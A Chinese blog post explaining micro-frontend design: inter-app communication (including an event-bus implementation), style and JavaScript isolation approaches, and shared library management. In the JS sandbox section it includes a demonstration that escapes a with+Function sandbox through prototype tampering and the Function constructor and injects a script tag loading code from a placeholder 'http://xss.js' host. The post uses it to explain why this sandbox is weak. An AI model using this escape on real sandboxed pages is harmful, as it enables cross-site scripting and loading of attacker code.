持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第12天,点击查看活动详情
前言
微前端的思想借鉴于微服务;微服务就是将后端服务按照业务拆分为多个独立的系统,每个系统单独部署,这样一个前端就可以同时和多个后端并行开发;但是这样的话一个前端就需要完成很多业务的开发,无法进行团队协作开发,于是产生了微前端;
微前端的发展历史不长,而且框架众多,目前没有一个统一的标准来界定哪些是微前端哪些不是;所以在搭建项目之前需要制定一个完整的微前端方案,也就是说一个微前端要解决哪些问题采用什么渲染方式(面试必考)??
- 首先需要确定好是CSR还是SSR,如果搭建好了微前端再想去修改就很困难了
- 微应用的注册机制、异步加载、生命周期管理
- 通信机制
- 构建时集成应用以及应用独立发布部署
- 安全隔离措施
- 公共库管理,通用业务逻辑以及版本管理
- 独立测试、和主应用联调方式、快速定位报错
- 是否支持使用多框架,多版本
我们简要摘取其中几点进行讲解
通信机制
请你谈一谈微前端的应用通信方案?
答:1.基于URL通信,能力较弱,但是有些简单场景还是很好用的,例如主应用需要识别渲染哪个子应用可以在URL地址栏加上子应用id,当子应用内部有一个跳转逻辑的时候直接修改这个参数就可以了
-
基于storage,这种方式虽然可以互通某些数据,但是不能做到实时相应
-
发布订阅模型,利用自定义事件实现一套通信机制
export default {
__handlerMap :{},
__offHandlerMap :{},
cachedDispatch:{},
dispatch(event,data){
if(!this.__handlerMap[event]){
// console.log("事件未绑定,存入缓存中,待订阅后执行",this.cachedDispatch)
this.cachedDispatch[event]=data
return true
}
const cutomeEvent = new CustomEvent(event,{
detail:data
})
document.dispatchEvent(cutomeEvent)
},
on(event,handler,context){
if(!this.__handlerMap[event]){
this.__handlerMap[event] = []
const callback = ev => {
this.__handlerMap[event].forEach(cb => cb.call(context, ev))
}
document.addEventListener(event, callback)
this.__offHandlerMap[event] = ()=>{
document.removeEventListener(event, callback)
}
}
this.__handlerMap[event].push(handler)
// 查看是否有之前触发的事件
if(this.cachedDispatch[event]){
this.dispatch(event,this.cachedDispatch[event])
}
return this
}
}
- 基于props传参的模式,所有微应用与主应用通信,主应用再通知微应用,这种方式耦合性比较强
安全隔离措施
请你谈一谈微前端如何进行安全隔离?
答:微前端中的安全隔离分为样式隔离和脚本隔离;如果使用了全局样式那么主应用与子应用之间可能产生样式污染;js脚本则主要是全局变量的污染;
样式隔离有以下方案:
- 动态样式表,应用卸载之后样式也同时卸载;这种方式需要注意的问题是微应用卸载时也要通知主应用将微应用的样式卸载掉,如果卸载不成功则会造成样式污染
- 工程化手段:css module,css in js,无法杜绝项目中使用全局样式,可能需要我们约定只能在主应用中修改全局组件样式
- shadow DOM,天然的样式隔离
- 运行时样式转换:运行时给所有节点增加一个属性,利用属性选择器创建命名空间
div[data-qiankun-subvue1]
- BEM约束,或者编译时增加namespace
js隔离有以下方案:
-
存储js变更的快照,等到应用卸载之后还原快照,例如Qiankun
详解:首先遍历window上的自有属性,将他们拷贝到windowSnapshot对象上去;使用defineProperty监听window对象的修改,同步到window对象和代理的window对象;当微应用卸载时还原到windowSnapshot的状态
-
with + Function,例如飞冰
详解:定义一个window的拷贝对象,然后使用with将我们的代码绑定到这个拷贝对象上,我们访问全局环境时其实访问的是这个拷贝的对象,然后使用proxy监控这个对象的读写操作
缺陷:可以进行沙箱逃逸,可以实现XSS攻击
我们用此方式实现一个简单的沙箱环境:
function compileCode (code) { code = ` with(exposeObj){ ${code} } ` return new Function('exposeObj', code) } function proxyObj (originObj) { let exposeObj = new Proxy(originObj,{}) return exposeObj } function createSandbox (code, obj) { let proxy = proxyObj(obj) compileCode(code).call(proxy, proxy) //绑定this 防止this访问window} } // 正常的使用方式 const test = { a: { b: 1 }, value: 2 } // 可以拿到全局环境的值 createSandbox(` console.log(a.b) console.log(value) `, test) // 实现xss攻击 createSandbox(` a.b.__proto__.toString = () =>{ new (()=>{}).constructor( "var script = document.createElement('script');\ script.src = 'http://xss.js'; script.type = 'text/javascript'; \ document.body.appendChild(script);")() } `,test) console.log(test.a.b.__proto__.toString())
-
借助iframe实现,例如各大线上编辑器都是用iframe嵌入html页面
在模拟的Context中,new⼀个iframe对象,提供⼀个宿主应⽤空的同域URL作为src(about:blank),将原⽣浏览器对象通过contentWindow取出来;
-
借助Worker
Worker自然拥有js沙箱环境,但是Worker中无法访问dom对象,所以我们可以通过编译“注入”document上下文,也就是说我们在Worker中进行dom的操作最终会编译到主线程去操作,但是变量依然是寄存在Worker中;当前还没有很好的框架去封装这个功能,让我们期待一下;
公共库管理
公共库可以以包的形式引入进来,也可以以测试环境CDN或者线上环境CDN的形式引入进来
以包的形式引入进来的话,那么后面就会经过webpack打包,单独分包处理公共依赖;这种情况一定不要轻易删除package-lock.json,否则会导致依赖版本变更,引发故障
测试环境、线上包CDN方式引入的话,就直接绕过webpack打包,优化了加载速度,需要配置external,但是修改CDN版本也需要谨慎,需要通过充分的测试;此时也需要安装本地依赖以获得代码提示,但是尽量保证与CDN版本依赖的包相似
总结
我们讲解了微前端需要解决的三大问题:通信机制、安全隔离措施、公共库管理;这为我们后面学习具体的微前端框架打下了基础